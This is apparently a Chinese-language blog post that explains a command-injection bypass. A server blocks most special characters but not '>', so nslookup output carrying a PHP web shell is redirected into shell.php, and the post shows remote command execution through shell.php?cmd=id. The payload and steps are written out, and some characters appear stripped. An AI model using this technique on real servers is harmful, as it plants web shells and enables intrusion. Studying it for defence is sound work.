关于一个服务器禁用了大部分敏感字符却没有禁“>“,导致的命令注入漏洞

📅 发布时间:2026/7/3 21:57:25 👁️ 浏览次数:
关于一个服务器禁用了大部分敏感字符却没有禁“>“,导致的命令注入漏洞
1️⃣ 这条命令是什么攻击中执行的是nslookup ?php system($_GET[cmd]); ? shell.php这里 ... 只是字符串引用quote作用是让 shell 把里面的内容当作一个整体字符串传给命令。不会执行任何代码。2️⃣ nslookup 实际收到的“域名”nslookup接收到的参数其实就是?php system($_GET[cmd]); ?它会尝试解析这个“域名”。显然这是一个非法域名所以返回错误。3️⃣ nslookup 的错误输出当域名不存在时nslookup会输出** server cant find ?php system($_GET[cmd]); ?: NXDOMAIN注意nslookup 会把你输入的内容原样打印出来。4️⃣的作用 shell.php表示把命令输出写入文件。所以nslookup ?php system($_GET[cmd]); ? shell.php执行后shell.php内容变成** server cant find ?php system($_GET[cmd]); ?: NXDOMAIN5️⃣ PHP 执行这个文件时会发生什么服务器访问shell.phpPHP 解析文件** server cant find这是普通文本。但遇到?php system($_GET[cmd]); ?PHP 会执行代码。因为PHP 允许 HTML PHP 混合text ?php code ? text只有 PHP 标签里的代码会执行。6️⃣ 最终效果攻击者访问shell.php?cmdid服务器执行:id浏览器返回uid33(www-data)攻击者获得远程命令执行。7️⃣ 为什么书里要加引号书里写nslookup [script code]原因是攻击代码里有很多 shell 特殊字符$ ; ( ) 如果不加引号shell 可能会拆分参数解释变量产生语法错误加上 就能确保整段代码被当作一个字符串传给 nslookup。